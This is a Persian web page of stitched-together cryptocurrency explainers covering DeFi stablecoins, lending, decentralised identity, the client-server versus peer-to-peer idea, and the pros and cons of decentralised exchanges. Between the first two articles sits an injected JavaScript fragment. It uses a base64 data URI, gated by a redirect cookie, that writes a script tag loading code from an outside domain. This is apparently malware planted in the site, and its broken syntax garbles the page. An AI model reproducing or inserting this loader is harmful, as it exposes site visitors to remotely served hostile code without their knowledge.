ارز متمرکز چیست؟

امور مالی غیر متمرکز

Defi که مخفف DECENTRALIZED FINANCE است، به امور مالی غیر متمرکز گفته می شود. در امور مالی غیر متمرکز سعی می شود تا واسطه ها با خودکار سازی جایگزین شوند. خودکار سازی قابلیت های دیگری را به وجود می اورد. DEFI را می توان در هر پلتفرم هوشمندی اجرا کرد. در حل حاضر اتریوم، در حال کار روی این زمینه است.
مقاله ای که می خوانید برگرفته از مقاله ای است که توسط لیندازی نوشته شده است. او از افراد مشهور و فعال در زمینه ی رمزارزهاست. او موسس SCALAR CAPITAL می باشد. پیشتر نیز به عنوان مدیر کنترل کیفیت در کوین بیس و مدیر تحلیل ریسک در AIG مشغول بود. لیندازی فارغ التحصیل دانشگاه سن دیگو با مدرک کارشناسی اقتصاد می باشد.

در ادامه مطالب زیر را می خوانید :

• استیبل کوین ها STABLE COINSهمان گونه که از معنای لغوی این کلمه پیداست، استیبل کوین ها نوسان قیمت زیادی ندارند. ارزش این ارزها وابسته به ارزش یکی دیگر از ارزهای فیات مانند دلار می باشد.
• وام دهی به صورت غیر متمرکز با استفاده از بلاک چین و بدون نیاز به حساب بانکی
• صرافی های غیرمتمرکز برای خرید و فروش ارزهای دیجیتال – با وجود صرافی های غیرمتمرکز دیگر احتیاجی به صرافی های متمرکز نیست.
• استفاده از دارایی های دیجیتال به عنوان وثیقه . دلیل این امر جلوگیری از سوء استفاده و جبران خسارات احتمالی برای مواقعی است که وام گیرنده اقساط ش را پرداخت نکند.

استفاده از هویت افراد، در قراردادهای هوشمند این روش احراز هویتی است که به صورت غیرمتمرکز انجام می گیرد.
• ترکیب کردن قراردادهای هوشمند با اهداف و اعمال متفاوت
• مدیریت کردن ریسک در مفاهیم و معاملاتی که به شکل غیر متمرکز انجام می گیرد. ابزارهای زیادی برای کنترل و مدیریت این ریسک ها طراحی شده است.

در زیر به شرح مفاهیم گفته شده می پردازیم:

استیبل کوین ها چه هستند؟

فرض کنید می خواهید در بلاک چین وام دریافت کنید. مطمئنا دلتان نمی خواهد مبلغی که دریافت می کنید تحت تاثیر نوسانات باشد. این جا از مواردی است که کاربرد استیبل کوین ها به چشم می آید.

استیبل کوین ها به سه دسته ی عمده تقسیم می شوند:

۱٫ استیبل کوین هایی که متمرکز هستند و وثیقه ی مربوط به آن ها از طریق ارز فیات پیس بینی شده است.

در این استیبل کوین ها، به تعداد توکن هایی که صادر شده، پشتیبان فیات آن در نظر گرفته می شود. نسبت این دو به یک دیگر یک به یک است. مزیت این استیبل کوین در این است که اگر به مشکلی بربخورید یک نهاد پاسخ گو وجود دارد. این خیال شما را راحت می کند. به عنوان مثال USDC از این دسته می باشد.

۲٫ استیبل کوین هایی که غیرمتمرکز هستند و وثیقه ی آن ها با ارزهای دیجیتال پیش بینی شده است.

توکن هایی که برای این دسته صادر شده است توسط ارزهای دیجیتال مورد پشتیبانی قرار می گیرد. همان طور که می دانید ارزهای دیجیتال نوسانات بالایی دارند. مثلا DAI با پشتیبانی اتریوم ساخته شده است. برای استفاده از این دسته، نیاز به اقدام خاص یا اجازه گرفتن از نهاد دولتی یا خصوصی و… نمی باشد.

مثلا برای این که ۲۰۰ دلار DAI دریافت نمایید باید دو برابر آن یعنی ۴۰۰ دلار اتریوم به عنوان وثیقه پرداخت کنید. اگر ارزش اتریوم بیشتر شود که هیچ، اما اگر ارزش آن پایین بیاید اتریوم ها نقد می شود. با این کار جلوی ضرر و زیان در سیستم وام دهی را می گیرند.
در رابطه با DAI می توان گفت که سیستم آن واقعا پیچیده است. کاربران عادی نیازی به سروکار داشتن با این پیچیدگی ها ندارند. از جمله ریسک های DAI می توان به ریسک در قراردادهای هوشمند و نیز ریسک معامله با توجه به بالا یا پایین رفتن دلار اشاره نمود.

۳٫ استیبل کوین هایی که غیرمتمرکز و الگوریتمی هستند.
برای این استیبل کوین ها وثیقه در نظر گرفته نمی شود. الگوریتم ها این دسته را کنترل کرده و نوسانات آن ها را مدیریت می کنند. مثلا BASIS یکی از انواع این استیبل کوین ها بود. BASIS قبل از این که راه اندازی شود توقیف شد. مشکل موجود در رابطه با این دسته، احتمال حمله است. حمله ای که ممکن است کل سیستم را از کار بیندازد.
دو دسته ی اول از استیبل کوین ها که توضیح آن گذشت، مورد توجه هستند و گرایش عمومی به آن ها زیاد است. در مورد دسته ی سوم آزمایش ها و تحقیقاتی در حال انجام است. تعدادی بر این باورند که ترکیب استیبل کوین های دسته ی یک و دو نتیجه مطلوبی خواهد داشت. در مورد دسته ی سوم همان طور که گفته شد مشکلاتی نیز وجود دارد اما با این حال، الگوریتم های مدیریتی این دسته به خوبی از عهده ی نوسانات قیمت آن برمی آیند.

وام دهی غیر متمرکز چیست؟

استیبل کوین ها باعث می شوند نگاه تازه ای به سیستم های مالی داشته باشیم و به امور مالی به صورت غیرمتمرکز بیاندیشیم. از اساسی ترین مفاهیمی که در این زمینه وجود دارد وام است. قراردادهای هوشمند در این حالت کارشان را انجام داده و وام دهنده و وام گیرنده را به یک دیگر ارتباط می دهند. میزان عرضه و تقاضا، بهره ی وام را مشخص می کند. این کار را خود قراردادهای هوشمند انجام می دهند.

آیا می دانید bitfinex چگونه کار می کند؟

بد نیست با نحوه ی قرض گرفتن و قرض دادن در برخی صرافی ها آشنا شوید. بیتفینکس ستون هایی برای قرض دهندگان و قرض گیرندگان در نظر گرفته است. افراد در ستون های مخصوص به خودشان شرایط را درج می کنند، مثلا میزان وام درخواستی، میزان بهره و… سپس بیتفینکس این افراد را به یک دیگر ربط می دهد و کارمزد خودش را نیز دریافت می کند.

در سیستم های غیر متمرکز چگونه عمل می شود؟

در این سیستم ها از لیست سفارش خبری نیست. در این جا با قراردادهای هوشمند سروکار داریم. در این قراردادها بهره ها را بالا و پایین می برند و شرایط را به گونه ای فراهم می آورند که توافق بین دو طرف وام دهنده و وام گیرنده برقرار شود. در این جا باید وثیقه بگذارید و این وثیقه کمی بیشتر از مقدار خود وام است. وثیقه مقداری این کار را مشکل می کند. با این وجود این وام ها مقیاس پذیر هستند و این از دلایل محبوبیت شان است. بهره ی این وام ها در مقایسه با وام های سنتی بیشتر است و ریسک هایی نیز وجود دارد. این ریسک ها شامل باگ های مربوط به قراردادها و نیز نوسانات کریپتو می باشد.

صرافی های غیرمتمرکز چگونه عمل می کنند؟

از بحث های اساسی در مورد امور مالی غیر متمرکز، مباحث مربوط به صرافی های غیر متمرکز است. صرافی هایی که با ارزهای دیجیتال کار می کنند سعی بر این دارند تا بستری برای معاملات دارایی های دیجیتال ایجاد کنند. در صرافی های متمرکز افراد پول خود را به وسط می آورند و به انجام معاملات می پردازند.

صرافی متمرکز نقش واسطه گری دارد و نیز به عنوان نگه دارنده ی مبالغ عمل می کند. خطراتی مانند هک شدن از جمله ریسک هایی است که همیشه این صرافی ها را تهدید می کند. صرافی های گفته شده می توانند به کشورهای خاصی اجازه ی فعالیت ندهند.
اما در صرافی های غیر متمرکز اوضاع متفاوت است. در این جا با قراردادهای هوشمند سروکار داریم. واسطه ها حذف می شوند و مبادلات به صورت همتا به همتا صورت می گیرد.

برخی پروژه ها درصدد هستند تا با مبادله ی غیرمتمرکز در زمینه ی اتریوم کار کنند. مثلا uniswap از یک مدل بازار خودکار استفاده می کند. در این مدل نقدینگی با الگوریتم ها فراهم می شود. اکنون معاملات در صرافی هایی که به صورت غیرمتمرکز کار می کنند در مقایسه با معاملات صرافی های متمرکز، حجم پایین تری دارد. تعدادی از صرافی های غیرمتمرکز تنها با توکن های اتریوم کار می کنند. دنیا در حال تلاش است تا این محدودیت ها کم شود. مثلا مبادلات افقی atomic swap از جمله اقداماتی است که در این راستا انجام شده است.

هویت غیر متمرکز چاره گشای بسیاری محدودیت هاست.

پلتفرم هایی که به صورت غیرمتمرکز به اعطای وام می پردازند مشکلاتی دارند. از جمله ی مشکلات گفته شده وثیقه است. وثیقه ی لازم برای وام گرفتن برای بسیاری افراد سنگین است. بسیاری نیز تمایلی ندارند سرمایه ی خود را در این راه بخوابانند. هویت غیر متمرکز راه حلی است که برای این مشکل ارائه شده است. هویت غیر متمرکز یعنی هویت افراد بر روی بلاک چین. با این روش دیگر نیازی به وثیقه نیست. از جنبه های مفید و خلاقانه ی امور مالی غیر متمرکز همین هویت غیر متمرکز است.

همه ی افراد می توانند برای خود هویت غیر متمرکز ایجاد نمایند. مواردی مانند میزان اعتبار شخص در شبکه های اجتماعی، نحوه ی پرداختی وام های قبلی، نظرات کاربران در مورد وی و… به شناخت بیشتر فرد کمک می کند. هویت غیر متمرکز در اوایل مسیر پیاده سازی قرار دارد و باید گفت که راه دراز و پر فراز و نسیبی پیش رو دارد.

در آینده ی نزدیک بسیاری افراد امور مالی شان را به صورت غیر متمرکز انجام خواهند داد. تعداد زیادی از افراد را در نظربگیرید که در حالی که گوشی هوشمند همیشه همراه شان است اما کارت شناسایی ندارند. هویت غیر متمرکز در موارد این چنینی بسیار می تواند کمک کننده باشد.

سازگاری به عنوان مهم ترین مولفه

در یک پلتفرم قراردادی که به صورت هوشمند اجرا می شود سازگاری مولفه ای بسیار مهم است. در مقاصد مالی متفاوت قراردادهای هوشمند باید سازگار و هماهنگ باشند. مثلا وقتی در پلتفرمی بخواهیم قابلیت معامله برای اموال توکنی را فراهم کنیم به پروتکلی برای صرافی غیر متمرکز احتیاج داریم.

به عنوان مثال می توان پروزه ی ۲۱۰۰ را نام برد که در آن رسانه های اجتماعی و امور مالی غیر متمرکز در کنار هم دیگر قرار می گیرند. در این پروژه مشارکت کنندگان می توانند از طریق توئیتر توکن های جدیدی ایجاد کنند. پروژه ی pooltogether نیز وجود دارد که در آن لاتاری و امور مالی غیرمتمرکز ترکیب می شوند. در این پروژه پولی که مشارکت کنندگان در لاتاری گذاشته اند برگردانده می شود. سود بدست آمده به برنده پرداخت می شود و این روش برای افزایش سرعت و انگیزه است.

با تکامل پیدا کردن امور مالی غیرمتمرکز، احتمال آن زیاد است که علاوه بر جامعه ی کریپتو، در زمینه های دیگر نیز مورد استفاده قرار گیرد. مثلا ممکن است یک فروشگاه بتواند علاوه بر موجودی خود از سود نیز استفاده کند. عمل مورد نظر نیازمند نوشتن چند خط برنامه نویسی است.

ریسک ها چه هستند؟

امور مالی غیر متمرکز از فعالیت هایی است که برای بسیاری جذاب است. جذابیت این امور نباید باعث شود که از ریسک های آن غافل شویم.
قراردادهای هوشمند، ریسک زیادی دارند. تمهیدات زیادی هست که باید در این مورد به آن ها توجه شود. هنگامی که چند پروتکل ادغام می شوند در صورتی که یکی از قراردادهای هوشمند مشکل داشته باشد، کل سیستم در معرض خطر است. به این سیستم ها باید با دید احتیاط نگاه کرد. نباید سرمایه گذاری زیادی انجام دهید.

وثیقه گذاشتن نیز ریسک هایی دارد. اگر ارزش دارایی هایی که به عنوان وثیقه گذاشته ایم پایین بیاید، تاثیر بدی در سرمایه ی شما خواهد گذاشت. بسیاری از پلتفرم ها نوسان بالایی در نرخ سود دارند و این امر باعث می شود بسیاری افراد تمایلی برای مشارکت در این زمینه نداشته باشند.

قانون گذاری نیز ریسک هایی دارد. همه ی پلتفرم های امور مالی مقداری عدم تمرکز دارند. جوانب زیادی است که باید در مورد این پلتفرم ها مورد بررسی قرار گیرد.

محافظت در برابر ریسک ها:

برای محافظت در برابر ریسک ها، طرح هایی وجود دارد از جمله بیمه هایی مانند nexus mutual یا convexity
طرح های گفته شده هنوز در آغاز راه هستند و نمی توان انتظار داشت که کاملا با ریسک ها مقابله کنند. در صورتی که امور مالی غیر متمرکز رشد کافی داشته باشد امکان آن هست که بیمه های سنتی هم وارد این فضا شده و محصولاتی برای این دنیا داشته باشند.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

غیر متمرکز (Decentralize) در ارزهای دیجیتال به چه معناست؟

در دنیای ارزهای دیجیتال احتمالا تا به حال به اصطلاح غیر متمرکز (Decentralize) یا این جمله برخورده اید که ارزهای دیجیتال به صورت غیر متمرکز می باشند اما آیا می دانید غیر متمرکز دقیقا به چه معناست؟ در این مقاله به این موضوع خواهیم پرداخت.

قبل از اینکه به بیان این مفهوم بپردازیم اجازه بدهید تا از دنیای ارزهای دیجیتال و رمز ارزها فاصله بگیریم تا با بیان مثال هایی ملموس بتوانیم این مفهوم را توضیح دهیم. فرض کنید که می خواهید آهنگ یکی از خوانندگان محبوب خودتان را از سایتی دانلود کنید. به سایت مورد نظر می روید و آهنگ خود را دانلود می کنید اما این آهنگ کجا ذخیره شده است؟ در سرورِ سایتی که به آن مراجعه کردید. یعنی شما در اینجا یک سرویس گیرنده (Client) هستید و سایت مورد نظر یک سرویس دهنده (Server) می باشد. در واقع هرگاه شما فایلی برای دانلود بخواهید نقش شما سرویس گیرنده و نقش محلی که آن فایل را در اختیار شما قرار می دهد سرویس دهنده است که به آن رابطه ی کلاینت سروری (Client-Server) می گویند.

اما این رابطه ی یک طرفه مشکلاتی دارد، فرض کنید در زمان انتخاب واحد می خواهید دروس خود را انتخاب کنید. همزمان با شما بسیاری از دانشجوها مانند شما قصد انتخاب واحد دارند، در نظر بگیرید در یک زمان تعداد زیادی دانشجو به سایت دانشگاه هجوم می آورند و از آن سرویس انتخاب واحد می خواهند، معمولا در چنین مواقعی سرعت سایت به شدت کاهش پیدا می کند و یا حتی ممکن است از دسترس خارج شود، علت این امر محدودیت هایی است که سرور سایت سرویس دهنده دارد که در مثال ما سایت دانشگاه می باشد. سروری که سایت دانشگاه دارد شاید توانایی سرویس دادن به تعداد زیادی دانشجو آن هم در یک زمان را نداشته باشد (به علت محدودیت هایی در پهنای باند و …). یعنی می توان گفت سرویس دهنده یک مرکزی است که یک سروری دارد و بر روی سرور و اطلاعات آن کنترل دارد و به صورت متمرکز فعالیت می کند.

غیر متمرکز راه حلی فوق العاده
اما این مشکلی نبود که برای آن راه حلی وجود نداشته باشد، با پیشرفت تکنولوژی ایده جدیدی مطرح شد که بیان کرد از آنجاییکه امروزه همگی دسترسی به اینترنت دارند، چرا مردم به صورت مستقیم با هم در ارتباط نباشند؟ از یکدیگر سرویس نگیرند و به هم سرویس ندهند؟ حتما لازم نیست از فضای یک سرور متمرکز استفاده کرد، بلکه همگی می توانند با در اختیار گذاشتن منابع خود (برای مثال هارد یا CPU) به صورت مستقیم هم سرویس دهنده و هم سرویس گیرنده باشند. مثلا فرض کنید شما آهنگی که می خواهید را از هارد یک نفر دانلود می کنید و آن هم از هارد شما فایل مورد نظرش را دانلود می کند. یعنی همه همزمان هم سرویس دهنده اند هم سرویس گیرنده.

BitTorrent اولین محصول غیرمتمرکز
اولین محصول معروف غیر متمرکز را می توان BitTorrent دانست، پروتکلی که در آن همه ی افراد هم سرویس گیرنده اند و هم سرویس دهنده. این پلتفرم قابلیت دانلود و آپلود فایل را برای شما ایجاد می کند، طبق این پروتکل مثلا اگر فردی فیلمی را می خواهد دانلود کند می تواند به یک فرد در هر نقطه ای از جهان که این فیلم را دارد متصل شود و آن را دانلود کند. همزمان که دانلود در حال انجام است آن فایل می تواند آپلود شود و افراد دیگر نیز می توانند آن فایل را از شما بگیرند و دانلود کنند، یعنی شما در اینجا علاوه بر اینکه فیلم را دانلود می کنید و سرویسی دریافت می کنید، آن فایل را آپلود می کنید و به بقیه سرویس می دهید.

جالب اینجاست که بر خلاف سیستم کلاینت سروری، در اینجا با افزایش تعداد افراد، شبکه ضعیف نمی شود و یا اصطلاحا سرور از دسترس خارج نمی شود، چون اولا سرور متمرکزی وجود ندارد و فایل ها در کامپیوترهای مردم در سراسر دنیا قرار دارد (یعنی غیر متمرکز است) و اعضای آن هستند که روی این شبکه نظارت و کنترل دارند. ثانیا با افزایش افراد این شبکه قوی تر می شود، زیرا تعداد سرویس گیرنده ها که خودشان سرویس دهنده هم هستند افزایش می یابد. عملا حیات این سیستم به اعضای آن وابسته است که به صورت همتا به همتا (Peer To Peer) با یکدیگر در ارتباطند.

غیر متمرکز ویژگی بارز ارزهای دیجیتال
تا اینجا مقدماتی گفته شد که بتوانیم معنای غیر متمرکز را راحت تر درک کنیم. غیرمتمرکز به زبان ساده به این معناست که اطلاعات در دست نهاد خاصی وجود ندارد و متمرکز نیست بلکه اطلاعات در سراسر شبکه پراکنده است و مجموعه ای از اعضای شبکه فعالیت در شبکه را به عهده دارند. حالا بهتر است به موضوع غیرمتمرکز بودن ارزهای دیجیتال بپردازیم.

در حال حاضر بانک ها نهادهای متمرکزی هستند که فعالیت های مالی افراد را انجام می دهد و به ازای انجام خدمات کارمزد دریافت می کنند. فرض کنید علی می خواهد یک میلیون تومان به سارا انتقال دهد. بانک ابتدا حساب علی و معتبر بودن حساب علی را بررسی می کند در صورتی که علی موجودی لازم را داشته باشد، یک میلیون تومان از حساب علی کسر کرده و به حساب سارا اضافه می کند و شرح معاملات در محلی به نام دفتر کل ذخیره می شود و در نهایت کارمزد خود از انجام این کارها را دریافت می کند.

پس از اینکه قابلیت های تکنولوژی Peer To Peer یا همتا به همتا مشخص شد، ساتوشی ناکاموتو خالق بیت کوین به این فکر افتاد که چرا در مورد مسائل مالی از این تکنولوژی استفاده نشود و مردم به طور مستقیم مبادلات مالی خود را با هم انجام ندهند. این شد که ایده ی ارزهای دیجیتال به صورت غیر متمرکز با ورود بیت کوین به دنیا معرفی شد، به طوری که در این نرم افزار همه به صورت مستقیم با هم در ارتباطند و تبادلات مالی خود را انجام می دهند و فرآیند انجام این فعالیت ها توسط هیچ نهاد مرکزی کنترل نمی شود و همه ی کارها را مردم انجام می دهند. بیت کوین در واقع نیاز به نهادهای واسطه همانند بانک را حذف می کند و برای انتقال پول خود تنها کافی است از کیف پول خود به آدرس کیف پول فرد دریافت کننده ارسال کنید. در این سیستم تراکنش ها توسط افرادی در شبکه انجام می شود که اصطلاحا سرویس دهنده های شبکه هستند و این اطلاعات در بلاک چین که یک دفتر کل توزیع شده است ذخیره می شود.

فراموش نکنید که غیر متمرکز با توزیع شده تفاوت دارد و به یک معنا نیست، در این سیستم غیر متمرکز، به دلیل متن باز (open source) بودن ارزهای دیجیتال همه چیز شفاف است و مردم به راحتی می توانند اتفاقات داخل شبکه را رصد کنند و همچنین تراکنش های خود را پیگیری کنند. مفهوم غیر متمرکز با حضور بیت کوین گسترش بیشتری یافت و با اینکه این مفهوم به طور کامل در این حوزه جای نیافتاده است اما جوامع مدرن با گذر زمان، بیشتر به سمت امور غیرمتمرکز تمایل پیدا کرده اند.

صرافی غیرمتمرکز چیست؟

صرافی غیرمتمرکز ارز دیجیتال بستری است که می‌توانیم رمز ارز های مختلف را بدون نیاز به یک نهاد متمرکز معامله کنیم. تحریم افراد به دلیل ملیت آنها در این صرافی‌ها معنی ندارد و آزادانه می‌توان در آنها فعالیت کرد

صرافی غیرمتمرکز چیست؟

برای شناخت دقیق ساز و کار صرافی های غیرمتمرکز ارز دیجیتل ابتدا باید بدانیم ایراد و مشکل صرافی‌های متمرکز چیست؟ از این رو متوجه خواهیم شد که چرا به صرافی‌های غیرمتمرکز رمز ارز احتیاج داریم. اگر دارایی‌های دیجیتال خود را در صرافی‌های متمرکز (چه داخلی چه خارجی) نگهداری کنید، همواره احتمال از دست رفتن سرمایه شما در اثر هک آن صرافی یا وضع قوانین سخت‌گیرانه وجود دارد. هرچند که این اتفاق ممکن است به ندرت رخ دهد، اما به هر حال احتمال آن وجود دارد. در این صورت کل دارایی دیجیتال شما از بین خواهد رفت. علت این امر هم مشخص است؛ زیرا صرافی‌های متمرکز توسط یک نهاد مرکزی کنترل و مدیریت می‌شوند و این موضوع می‌تواند مشکلاتی را به وجود بیاورد. از جمله این مشکلات می‌توان به موارد زیر اشاره کرد:

• صرافی مورد نظر می‌تواند تمامی ارزهای دیجیتل کاربران خود را به سرقت ببرد.
• ممکن است شامل تحریم‌ها قرار بگیرید و حساب‌هایتان در صرافی مورد نظر مسدود شود، احتمال رخ دادن این اتفاق برای ما زیاد است.
• ممکن است صرافی‌های متمرکز ارز دیجیتال توسط هکرها، هک شوند و دارایی کاربران به سرقت برود؛ اتفاقی که بارها برای صرافی‌های مختلف افتاده است.
• ممکن است صرافی مورد نظر قیمت‌ها را دستکاری کند. این موضوع باعث زیان کاربران این صرافی خواهد شد. مثالی از این دستکاری قیمت در زمان ریزش بازار در اثر شیوع ویروس کرونا بود. اطلاعاتی منتشر شد که نشان میداد صرافی Bitmex قیمت بیت کوین را عمدا پایین‌تر از سایر صرافی‌ها آورده که باعث لیکویید شدن تعداد زیادی از افراد در این صرافی شد.

این لیست می‌توانیم موارد بسیاری را اضافه کنیم؛ اما مهم‌ترین ویژگی صرافی‌های متمرکز این است که در این اکسچنج‌ها، کنترل دارایی افراد به صرافی واگذار می‌شود. این می‌تواند به طرق مختلف برای کاربران مسئله‌ساز شود.

مفهوم صرافی غیرمتمرکز رمز ارز به وجود آمده تا به مفهوم غیرمتمرکز بودن رمز ارزها نمود عینی ببخشد تا از این طریق امنیت کاربران را افزایش دهد. کدهای این صرافی‌ها برای همه قابل دسترس است. همه افراد می‌توانند طریقه کارکرد این صرافی‌ها را مشاهده کنند. DEXها از طریق قراردادهای هوشمند فعالیت می‌کنند؛ به این‌صورت که ابتدا وارد سایت DEX مورد نظرتان می‌شوید و با اتصال کیف پول خود، در آن خرید و فروش ارزهای دیجیتل را انجام می‌دهید.

برای این‌که بتوانید در این صرافی‌ها فعالیت کنید، باید آن مقدار از ارز دیجیتل مورد نظرتان را به آدرس قرارداد هوشمند این صرافی‌ها انتقال دهید. نکته جالب این است که هیچکس نمی‌تواند ارز دیجیتل شما را انتقال دهد. اما کارکرد DEXها چیست؟ صرافی‌های غیرمتمرکز ارز دیجیتل کارکردهای مختص به خود را دارند و سازمان و یا نهادی آن‌ها را کنترل نمی‌کنند. همه قوانین و شرایط طبق پروتکلی مشخص و قرارداد هوشمندی معین انجام می‌پذیرد. تمامی افراد از هر کشوری می‌توانند از این صرافی‌ها استفاده کنند و تحریم و فشار دولت‌ها نمی‌تواند مانع دسترسی کاربران از برخی کشورها شود.

از جمله صرافی‌های غیرمتمرکز رمز ارزها می‌توان یونی سواپ، سوشی سواپ و کرو فایننس را نام برد. البته این صرافی‌ها فقط دارای مزیت نیستند و قطعا ایراداتی را دارند که قابل ملاحظه است، مثل کارمزدهای بالای برخی از آنها، ظاهر بسیار ساده و خسته کننده، رابط کاربری نسبتا سخت، امکانات بسیار کم و محدود، در بعضی از موارد سرعت پایین آنها و غیره که ممکن است کاربران را از استفاده از این صرافی های غیرمتمرکز منصرف کند.

نقاط قوت صرافی غیرمتمرکز چیست؟

در ادامه نقاط قوت صرافی‌های غیرمتمرکز رمز ارز را در مقایسه با صرافی‌های متمرکز بررسی می‌کنیم؛ این مزایا شامل کنترل کامل دارایی‌ها توسط شما، عدم نیاز به احراز هویت، امنیت بالاتر نسبت به صرافی‌های متمرکز، متن باز بودن دکس‌ها و عدم محدودیت در خرید و فروش اشاره کرد.

کنترل دارایی‌ها

صرافی‌های غیرمتمرکز یا DEXها، بر خلاف صرافی‌های متمرکز ارز دیجیتال، دارایی‌های شما را کنترل نمی‌کنند. در عوض، این وجوه به روشی غیرمتمرکز ذخیره می‌شوند و معمولا توسط کاربران یا توسط نرم افزار خود صرافی این کار انجام می‌شود. به این ترتیب، هیچ نهاد متمرکزی وجود ندارد که همه ارزهای دیجیتال موجود در صرافی را در کیف پول خود نگهداری کند. در صرافی‌های غیرمتمرکز کنترل دارایی‌ها در دست کاربران است. از این طریق ریسک از دست دادن دارایی افراد بسیار کاهش می‌یابد.

احراز هویت

کل چیزی که برای استفاده از یک صرافی غیر متمرکز رمز ارز لازم دارید، یک کیف پول ارز دیجیتل است. در عین حال، بعضی از ایجادکنندگان صرافی‌های غیرمتمرکز ادعا می‌کنند که آنها تنها نرم‌افزار متن باز را ارائه می‌دهند و مسئولیتی در برابر آنچه جامعه با آن نرم افزار انجام می‌دهد، نخواهند داشت. بنابراین این افراد به این شیوه از مشکلاتی مانند شناخت مشتری و قوانین ضد‌پولشویی اجتناب می‌کنند. فعالیت در این صرافی‌ها نیازی به احراز هویت و ارائه مدارک شناسایی نداشته و حریم خصوصی افراد کاملا رعایت می‌شود.

امنیت بالاتر

در ده سال گذشته، بارها صرافی‌های متمرکز ارزهای دیجیتل هک شده‌اند که از جمله آنها می‌توان Mt.Gox و Coincheck را نام برد. تا به حال، تلاش‌ها برای سرقت دارایی‌ها متوقف نشده است و روزانه هکرها در جستجوی روش‌هایی برای بهره‌برداری از آسیب پذیری‌ها در سیستم‌های متمرکز هستند. از آنجا که یک صرافی غیرمتمرکز بر روی شبکه‌ای از کامپیوتر‌ها راه‌اندازی شده است، حمله به آن بسیار سخت‌تر می‌شود. احتمال نفوذ به این صرافی‌ها و شکست آنها بسیار پایین است و این باعث می‌شود که صرافی‌های غیر متمرکز بسیار امن‌تر باشند.

متن باز بودن

کدهای یک صرافی غیرمتمرکز و همچنین کدهای قرارداد هوشمند یک دکس عموما به صورت متن باز (Open Source) در اختیار همگان قرار می‌گیرد تا همه بتوانند با مطالعه کدهای آن از ساز و کار و طریقه کارکرد آن صرافی مطلع شوند. بنابراین “شفافیت” یکی از مهم‌ترین عوامل برای دکس‌ها است. در غیر اینصورت نمی‌توان یه یک DEX اعتماد کرد؛ زیرا روند و ساز و کار فعالیت آن صرافی مشخص نیست و از کجا معلوم که در قسمتی از کد نوشته نشده باشد که یک کپی از کلید خصوصی هر کاربر در محلی ذخیره نشود؟

عدم محدودیت در خرید و فروش ارز دیجیتل

در صرافی‌های غیر متمرکز هیچ سقفی برای مبادله ارزهای خود ندارید. در برخی صرافی‌های متمرکز، اگر اکانت خود را وریفای نکرده باشید یا احراز هویت نکرده باشید، تنها قادرید روزانه تا سقف محدودی بیت کوین برداشت کنید؛ در حالی که این حالت در دکس‌ها بی‌معنی است و شما هیچ سقفی برای خرید و فروش و سفارشات خود ندارید.

نقاط ضعف Dexها

این نوع صرافی‌ها دارای معایبی مانند عدم پذیرش و مقبولیت توسط عموم مردم و کمبود نقدینگی، محدود بودن ابزارهای ترید، نبود پشتیبانی مشتریان، مقیاس پذیری کم و کارمزدهای بالاتر برای انجام تراکنش‌ها هستند.

عدم مقبولیت و کمبود نقدینگی

با وجود این‌که حجم معاملات صورت گرفته در صرافی یونی سواپ بسیار بالاتر از گذشته بوده و از بسیاری صرافی‌های متمرکز بالاتر است، اما صرافی‌های غیرمتمرکز هنوز هم مانند صرافی‌های متمرکز محبوب نیستند. در نتیجه، آنها مشتریان کمتری دارند و حجم ترید و نقدینگی پایین‌تری نیز دارند و برای تسویه تراکنش‌ها مدت زمان بسیار بیشتری طول می‌کشد.

ابزارهای ترید

استفاده از صرافی‌های غیرمتمرکز برای تریدر‌های حرفه‌ای حق انتخاب زیادی ارائه نمی‌دهد. زیرا گزینه‌های ترید پیشرفته در بیشتر این صرافی‌ها وجود ندارد. استفاده از سفارش‌های رایج در میان تریدرها و معاملات الگوریتمی در محیط‌های غیرمتمرکز دشوار است.

نبود پشتیبانی مشتری

اکثر صرافی‌های غیرمتمرکز نمی‌توانند هیچ سرویس پشتیبانی مناسب یا کانال‌های قابل دسترسی را برای مشتریان فراهم آورند که از آن طریق برای تراکنش‌ها یا اکانت‌های کاربران پشتیبانی انجام شود.

مقیاس‌پذیری کم

اگرچه صرافی‌های غیر‌متمرکز الگوی جدیدی را در ترید ارز‌های دیجیتال فراهم نموده‌اند، اما این صرافی‌ها بر بستر بلاک چین ساخته شده‌اند و بنابراین دارای عیب‌هایی مانند مقیاس‌پذیری کم هستند و در صورتی که کاربران زیادی اقدام به استفاده از این صرافی‌ها کنند، به احتمال زیاد چنین صرافی‌هایی قادر به پاسخگویی نیستند.

البته این ایراد مستقیما به خود دکس‌ها مربوط نیست؛ لذا اگر شبکه‌های بلاکچین بتوانند مسئله مقیاس‌پذیری را حل کنند، این عیب DEXها نیز برطرف خواهد شد. البته صرافی‌های غیرمتمرکز فعال بر روی شبکه‌های بلاکچین مقیاس‌پذیر مانند بایننس اسمارت چین، ترون و پولکادات در حال حاضر نیز چنین ایراد و نقصی را ندارند؛ اما در بسیاری از آنها برای تامین مقیاس‌پذیری بالا، غیرمتمرکز ماندن را قربانی کرده‌اند.

کارمزدهای بالاتر برای انجام معاملات

